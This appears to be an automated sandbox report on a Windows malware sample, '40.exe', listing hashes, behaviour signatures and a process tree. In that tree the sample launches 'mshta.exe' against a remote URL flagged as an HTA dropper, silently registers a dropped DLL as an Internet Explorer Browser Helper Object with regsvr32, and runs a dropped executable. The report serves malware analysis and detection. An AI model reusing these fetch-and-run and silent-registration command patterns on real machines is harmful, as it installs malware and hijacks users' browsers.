Analysis

  • max time kernel
    150s
  • max time network
    150s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06/04/2024, 22:27

General

  • Target
    40.exe
  • Size 1.0MB
  • Sample240406-2c418acg7x
  • SHA256 986f4b9b0c86141db624d8e1811a3743d067896da7300840df59db962a97d87d
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10

Malware Config

Extracted

Language
  • hta

Source
URLs
  • hta.dropper

    http://www.grooveshark.com/

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Installs/modifies Browser Helper Object 2 TTPs 2 IoCs

    BHOs are DLL modules which act as plugins for Internet Explorer.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies Internet Explorer settings 1 TTPs 19 IoCs
  • Modifies registry class 18 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\40.exe
    "C:\Users\Admin\AppData\Local\Temp\40.exe"
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\SysWOW64\mshta.exe
      mshta.exe http://www.grooveshark.com/
      2⤵
        PID:4676
      • C:\Windows\SysWOW64\regsvr32.exe
        regsvr32 /s C:\Windows\system32\d978.dll
        2⤵
        • Loads dropped DLL
        • Installs/modifies Browser Helper Object
        • Modifies Internet Explorer settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1736
        • C:\Users\Admin\AppData\Local\Temp\saf8647.tmp
          C:\Users\Admin\AppData\Local\Temp\saf8647.tmp
          3⤵
          • Executes dropped EXE
          • Modifies Internet Explorer settings
          • Suspicious use of SetWindowsHookEx
          PID:2340

    Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          saf8647.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\saf8647.tmp
          • Size 188KB
          • SHA256 2449e4d0eb3449658f6c9d32d1901a616d9a3eff609d7a3e3ec7927393f272ef
          • MD5 SHA1 SHA512 SSDEEP

          d978.dll

          • Path C:\Windows\SysWOW64\d978.dll
          • Size 880KB
          • SHA256 d5d2529aaf7b3240e6dc078f76ed11295bdd7f885f54647da67f0cca40f7da06
          • MD5 SHA1 SHA512 SSDEEP